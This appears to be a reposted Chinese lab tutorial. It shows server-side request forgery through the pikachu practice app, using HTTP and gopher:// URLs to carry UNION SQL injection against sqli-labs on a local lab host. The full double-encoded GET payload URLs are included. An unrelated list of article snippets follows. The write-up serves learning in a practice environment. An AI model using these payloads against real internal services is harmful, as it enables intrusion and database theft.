SSRF5 Gopher 協議對內網 Web 服務進行 sql 注入 GET 類型和POST類型

實驗環境;

Centos7.6上同時安裝sqli-lib和pikachu

一.Gopher 協議對內網 Web 服務進行 sql 注入 GET 類型

我們先訪問sqli-lib第1關

然后我們構造URL:

http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.112.12/sqli-

labs/Less-1/?id=-1' union select 1,user(),database() --+

我們再到pikachu靶場里面進行ssrf實驗:

發現報錯了,這里我們需要進行兩次編碼:

為什么要 2 次編碼?

1. 首先我們發給服務器的時候 URL 地址中不能包含特殊字符,需要第一次編碼。先解碼%25

2. 服務器接收到我們的 URL 地址之后由 url_exec()解析 URL 地址,此時服務器進行第二次解碼。

第二次解碼則解碼空格以及特殊字符。

第一次:只對傳遞的參數id進行編碼。

http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.112.12/sqli-labs/Less-1/?id=-1'union%20select%201%2Cuser()%2Cdatabase()--%20%2B第二次:

http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://192.168.112.12/sqli-labs/Less-1/?id=-1'union%2520select%25201%252Cuser()%252Cdatabase()--%2520%252B

然后我們可以看到成功利用pikachu靶場訪問sqli-lib并利用sql注入漏洞。

我們再bp抓包:

利用腳本進行編碼:

_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29--%2520%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A
?

然后拼接URL:gopher://192.168.112.12:80/_GET%20/sqli-labs/Less-1/%3Fid%3D-1%2527union%2520select%25201%2Cuser%28%29%2Cdatabase%28%29--%2520%2B%20HTTP/1.1%0D%0AHost%3A%20192.168.112.12%0D%0A

然后我們對其進行二次編碼:

http://192.168.112.12/pikachu-master/vul/ssrf/ssrf_curl.php?url=gopher%3A%2F%2F192.168.112.12%3A80%2F_GET%2520%2Fsqli-labs%2FLess-1%2F%253Fid%253D-1%252527union%252520select%2525201%252Cuser%2528%2529%252Cdatabase%2528%2529--%252520%252B%2520HTTP%2F1.1%250D%250AHost%253A%2520192.168.112.12%250D%250A

我們也是成功利用gopher協議完成SSRF的GET請求。

二.Gopher 協議對內網 Web 服務進行 sql 注入POST?類型

我們依舊先打開sqli-lab靶場進入11關:

然后bp抓包

我們利用編碼腳本先對POST請求進行編碼:

然后我們得到結果構造URL:

在前面添加:gopher://192.168.112.12/

然后我們在pikachu里面進行URL構造:

再編碼一次就可以了。

我們也是成功利用POST請求拿到sqli-lab的數據庫名稱和user表

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/85367.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/85367.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/85367.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python打卡DAY31

DAY31:文件的規范拆分和寫法 恩師浙大疏錦行 知識點: 規范的文件命名規范的文件夾管理機器學習項目的拆分編碼格式和類型注解 一、機器學習項目流程: 1、數據加載:從文件、數據庫、API 等獲取原始數據。 - 命名參考:…

字符串大數 -減法

描述 以字符串的形式讀入兩個數字,編寫一個函數計算它們的和,以字符串形式返回。 代碼實現 大小判斷:a - b 與 b - a 的絕對值相等將大的數放前面,抽離出結果的符號 import random s, t str(random.randint(1000, 9999)), s…

android google tts如何不聯網內部預置多國語音包

在內置Google GMS服務的設備中,可以正常使用TTS,并且可以聯網下載多國的語音包。然而,對于未通過GMS認證,只能使用基礎的TTS英語播報,而且聯網后是無法下載語音包的,會提示需要google service。本文基于以上…

Java 全棧開發學習:從后端基石到前端靈動的成長之路

目錄 一、開篇:與 Java 全棧的初遇 二、后端學習:SpringBoot 構建穩健基石 (一)SpringBoot3 入門:簡約而不簡單的啟程 (二)Spring Boot Web 應用開發:構建交互橋梁 (…

AquaCrop模型源代碼分析、模型優化與敏感性分析、未來氣候變化影響分析

AquaCrop是由世界糧食及農業組織(FAO)開發的一個先進模型,旨在研究和優化農作物的水分生產效率。這個模型在全球范圍內被廣泛應用于農業水管理,特別是在制定農作物灌溉計劃和應對水資源限制方面顯示出其強大的實用性。AquaCrop 不…

開源模型應用落地-讓AI更懂你的每一次交互-mem0-QDrant-Streamlit(一)

一、前言 在人工智能迅猛發展的今天,大型語言模型(LLM)已經成為各行各業的重要工具。然而,盡管這些模型在生成文本、理解語義等方面表現出色,但它們仍然面臨一個關鍵挑戰——缺乏持久的記憶能力。傳統的對話系統往往只能基于當前對話輪次進行回應,無法有效保留和利用歷史…

RPC - Response模塊

Requestor 類是一個請求-響應管理器,負責發送請求并處理響應,支持三種交互模式:同步、異步和回調。它跟蹤所有發出的請求,當響應到達時將其匹配到對應的請求并進行處理。 newDescribe 函數解析 newDescribe 函數負責創建和注冊一…

超高速10G采集卡

超高速10G采集卡是一款高端14位數據采集平臺,旨在滿足最具挑戰性的測量環境。 特性: 單通道和雙通道操作 單通道10GSPS或雙通道5GSPS 7 GByte/s持續數據傳輸速率開放式FPGA支持實時DSP 脈沖檢測固件選項波形平均固件選項 特征 單通道和雙通道工作模式雙通道5G…

One-Hot、BOW、TF-IDF、N-Gram區別

1. One-Hot Encoding (獨熱編碼) 核心思想: 為語料庫(所有文檔的集合)中的每個唯一單詞創建一個維度。對于一個特定的單詞,在其對應的維度上標記為1,在所有其他維度上標記為0。 表示: 一個非常長的二進制向…

產品經理如何做用戶調研和訪談

用戶調研和訪談是產品經理挖掘用戶需求、優化產品設計的核心環節。在一個完整的產品流程里面,用戶調研和訪談是非常重要的。 當年史玉柱推出腦白金時,就曾帶領團隊在江蘇很多城市進行了大量的走訪(用戶調研),和一幫老…

【python 讀取抖音/小紅書/微博今日頭條/百度熱點等平臺的熱點新聞】

輕松獲取全網熱點,Python助你掌握實時輿情 在信息爆炸的時代,抖音、小紅書、微博、今日頭條和百度熱點等平臺每天都會產生海量熱門內容。無論是品牌營銷、競品分析還是輿情監控,掌握這些熱點新聞至關重要。利用Python的強大爬蟲技術&#xff…

【1.3 MySQL知識庫 - 輕松理解版】

🚀 MySQL知識庫 - 輕松理解版 一、MySQL核心知識順口溜 🎵 🎤 經典記憶口訣 MySQL數據庫,InnoDB引擎強 ACID事務特性,隔離級別四檔 索引加速查詢,B樹是主梁 主從復制備份,讀寫分離扛 鎖機制防…

計算機網絡期末速成 網絡層 判斷及單選題

判斷題 路由器和鏈路層交換機都被稱為分組交換機。路由器與鏈路層交換機間的根本區別是:路由器在網絡層存儲轉發IP數據報,鏈路層交換機在鏈路層存儲轉發幀。 A. 對 B. 錯 答案: 對 解析: 路由器和鏈路層交換機確實都是分組交換機,但工作層次不同。路由器…

代理 AI 時代的隱私重構:從邊界控制到信任博弈

過去,我們將隱私等同于邊界與權限控制,依賴墻壁、鎖和規則構筑防線。而如今,隨著代理 AI 深度介入生活,成為能感知、決策的自主實體,它不僅處理數據,更在重塑我們的數字形象與內在認知。在此背景下&#xf…

C++實現手寫strstr函數

strstr 函數用于在主字符串中查找子字符串的首次出現位置,以下是高效的實現方案: KMP算法優化版本 #include <iostream> #include <string> #include <vector> using namespace std; // 計算KMP算法的部分匹配表(PMT) vector<int> getNext(const…

Linux操作系統網絡服務模塊一SSH帶外管理概述

前言&#xff1a; 在復雜的網絡運維環境中&#xff0c;?SSH帶外管理&#xff08;Out-of-Band Management&#xff09;?? 是確保系統高可用性的核心技術手段。區別于依賴業務網絡的“帶內管理”&#xff0c;帶外管理通過獨立物理通道?&#xff08;如專用管理網口或串…

org.springframework.cloud.gateway 組件解釋

org.springframework.cloud.gateway 是 Spring Cloud 生態系統中的一個新一代的、功能強大的 API 網關。 1. 什么是 API 網關 (API Gateway)&#xff1f; 在講解 Spring Cloud Gateway 之前&#xff0c;我們先要理解它扮演的角色——API 網關。 在一個微服務架構中&#xff0…

linux ollama 下載安裝

linux ollama 下載安裝 ollama 下載地址ollama 手動安裝解決找不到命令的問題升級[gcc](https://so.csdn.net/so/search?qgcc&spm1001.2101.3001.7020)Centos7 停止維護之后 [升級gcc||找不到devtoolset-8-gcc* 問題解決方案](https://www.cnblogs.com/Jedi-Pz/p/18447117…

2025 滲透工具:【中國蟻劍】連接一句話MUA文件 遠控虛擬機靶機

溫馨提示&#xff1a; 本程序僅作為虛擬機測試環境使用&#xff0c;請勿用于任何不當用途。使用即表示您同意自行承擔可能產生的所有責任。 一、場景復現 1、PhpMystudy軟件啟動網頁模擬靶機 小皮面板(phpstudy) - 讓天下沒有難配的服務器環境&#xff01; 2、開啟apache 3、…

Datawhale 網絡爬蟲技術入門第2次筆記

正則表達式 正則表達式&#xff08;Regular Expression&#xff09;&#xff0c;?種使?表達式的?式對字符串進?匹配的語法規則。 正則的語法&#xff1a;使?元字符進?排列組合來匹配字符串。 在線測試正則表達式&#xff1a;在線正則表達式測試OSCHINA.NET在線工具,os…